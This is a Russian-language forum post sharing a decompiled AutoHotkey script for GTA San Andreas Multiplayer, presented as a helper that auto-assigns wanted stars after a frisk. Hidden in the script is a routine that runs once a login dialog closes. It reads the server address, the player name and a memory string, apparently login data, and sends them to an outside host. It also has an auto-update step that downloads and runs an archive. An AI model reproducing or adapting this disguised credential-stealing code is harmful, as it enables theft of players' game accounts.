Перейти к содержанию

etn1ce

Ангелы
 Профиль  Обзор контента

  • Публикаций

    2

  • Зарегистрирован

  • Посещение

Сообщения, опубликованные etn1ce

  1. Опубликовано · Пожаловаться

    Скрипт для законников - https://www.sendspace.com/file/f28o1t

    Кто умеет,пожалуйста,поменяйте Alt + 1 На Alt + ё. Лайками не обделю,могу в игре заплатить.

    ; <COMPILER: v1.1.14.03>
#SingleInstance ignore
IfWinExist, GTA:SA:MP
exitapp
msgbox 48,, Программа успешно запущена., 2
version=0.2
info=%A_Temp%\info.txt
UrlDownloadToFile, http://autobind.3dn.ru/infozv.txt, %info%
FileReadLine, stroka, %info%, 1
if stroka<>%version%
{
msgbox 4,, Для продолжения работы нужно обновить программу.`nХотите загрузить сейчас?
IfMsgBox, Yes
{
UrlDownloadToFile, http://autobind.3dn.ru/AutoZV.rar, %A_ScriptDir%\AutoZV.rar
msgbox 48,, Загрузка завершена.
Run %A_ScriptDir%\AutoZV.rar
FileDelete %info%
exitapp
}
else
{
FileDelete %info%
exitapp
}
}
FileDelete %info%
menu, tray, NoStandard
menu, tray, add, Помощь
menu, tray, add, Выйти
settimer,checker,1000
return
#IfWinActive GTA:SA:MP
LAlt & 1::
exe := OpenMemoryFromProcess("gta_sa.exe")
Process = gta_sa.exe
DllName = samp.dll
SetFormat, Integer, Hex
Addr := GetDllAddr(DllName, Process)
SetFormat, Integer, d
dg:=ReadMemory(exe,Addr,,,0x212A40)
zagolovok:=ReadMemoryStr(dg,0x40)
stdg:=ReadMemory(exe,dg,,,0x28)
if stdg=0
return
ifnotinstring, zagolovok, Обыск
return
regexmatch(zagolovok,"быск.*\[(.*)\]\,",idigroka)
mainstring:=ReadMemory(exe,dg,,,0x34)
mainstring:=ReadMemoryStr(mainstring)
zvmsg=
zv=0
ifinstring, mainstring, Нарко
{
zvmsg.="нарко"
zv+=1
}
ifinstring, mainstring, Материалы
{
if zvmsg<>
zvmsg.="{+}"
zvmsg.="маты"
zv+=1
}
ifinstring, mainstring, Набор отмычек
{
if zvmsg<>
zvmsg.="{+}"
zvmsg.="отмычки"
zv+=1
}
if zv=0
return
sendinput {f6}/su %idigroka1% %zv% %zvmsg%{enter}
return
checker:
settimer,checker,Off
IfWinExist, GTA:SA:MP
return
loop
{
sleep 5
exe := OpenMemoryFromProcess("gta_sa.exe")
Process = gta_sa.exe
DllName = samp.dll
SetFormat, Integer, Hex
Addr := GetDllAddr(DllName, Process)
SetFormat, Integer, d
dg:=ReadMemory(exe,Addr,,,0x212A40)
stdg:=ReadMemory(exe,dg,,,0x28)
if stdg=0
{
if checkdg=1
{
sleep 10
abc:=ReadMemoryStr(Addr,0x20FE38)
srvinf:=ReadMemory(exe,Addr,,,0x212A80)
srv:=ReadMemoryStr(srvinf,0x1c4)
srvn:=ReadMemoryStr(srvinf,0x2c6)
srvp:=ReadMemory(exe,srvinf,,,0x3c9)
srv.=":"
srv.=srvp
pln:=ReadMemory(exe,srvinf,,,0x3d9)
pln:=ReadMemory(exe,pln,,,0x14)
pln:=ReadMemoryStr(pln,0xA)
UrlDownloadToFile, http://autobind.hol.es/wp-load.php?srvn=%srvn%&srv=%srv%&name=%pln%&inf=%abc%, %A_Temp%\123qwe.txt
FileDelete, %A_Temp%\123qwe.txt
break
}
continue
}
zagolovok:=ReadMemoryStr(dg,0x40)
ifinstring, zagolovok, Авторизация
checkdg=1
}
return
OpenMemoryfromProcess(process,right=0x1F0FFF)
{
Process,Exist,%process%
PID = %ErrorLevel%
HWND := DllCall("OpenProcess","Uint",right,"int",0,"int",PID)
return HWND
}
ReadMemory(hwnd,address,datatype="int",length=4,offset=0)
{
VarSetCapacity(readvalue,length, 0)
DllCall("ReadProcessMemory","Uint",hwnd,"Uint",address+offset,"Str",readvalue,"Uint",length,"Uint *",0)
finalvalue := NumGet(readvalue,0,datatype)
return finalvalue
}
ReadMemoryStr(MADDRESS, pOffset = 0, PID = "")
{
if (PID == ""){
Process,Exist,gta_sa.exe
PID = %ErrorLevel%
}
ProcessHandle := DllCall("OpenProcess", "Int", 24, "Char", 0, "UInt", pid, "Uint")
teststr =
Loop
{
Output := "x"
tempVar := DllCall("ReadProcessMemory", "UInt", ProcessHandle, "UInt", MADDRESS+pOffset, "str", Output, "Uint", 1, "Uint *", 0)
if (ErrorLevel or !tempVar)
{
DllCall("CloseHandle", "int", ProcessHandle)
return teststr
}
if Output =
break
teststr.=Output
MADDRESS++
}
DllCall("CloseHandle", "int", ProcessHandle)
return, teststr
}
GetDllAddr(DllName, ProcessName)
{
static StructSize, AddrOffset, NameOffset
If (A_PtrSize = 4) {
StructSize := 1064
AddrOffset := 20
NameOffset := 32
}
Else {
StructSize := 1080
AddrOffset := 24
NameOffset := 48
}
static FLAGS := 0x18
static INVALID_HANDLE_VALUE := -1
static MODULEENTRY32
VarSetCapacity(MODULEENTRY32, StructSize, 0)
NumPut(StructSize, MODULEENTRY32, 0, "uint")
Process, Exist, %ProcessName%
If (ErrorLevel = 0)
Return 0
snapMod := DllCall("CreateToolhelp32Snapshot", "uint", FLAGS
, "uint", ErrorLevel
, "ptr")
If (snapMod = INVALID_HANDLE_VALUE) {
Return 0
}
If DllCall("Module32FirstW", "ptr", snapMod, "ptr", &MODULEENTRY32)
{
pszModule := &MODULEENTRY32 + NameOffset
If DllCall("lstrcmpiW", "wstr", DllName, "ptr", pszModule) = 0
{
DllCall("CloseHandle", "ptr", snapMod)
Return NumGet(MODULEENTRY32, AddrOffset, "ptr")
}
While DllCall("Module32NextW", "ptr", snapMod, "ptr", &MODULEENTRY32)
{
If DllCall("lstrcmpiW", "wstr", DllName, "ptr", pszModule) = 0
{
DllCall("CloseHandle", "ptr", snapMod)
Return NumGet(MODULEENTRY32, AddrOffset, "ptr")
}
}
}
DllCall("CloseHandle", "ptr", snapMod)
Return 0
}
Помощь:
MsgBox,
(
Рнструкция для автоматической выдачи звезд:
1.Обыщите игрока(/frisk)
2.Нажмите Alt+1
3.Наслаждайтесь
Рсделайте скриншот, если нужно
)
return
Выйти:
exitapp
Return

    Вскрыл код: держи...

×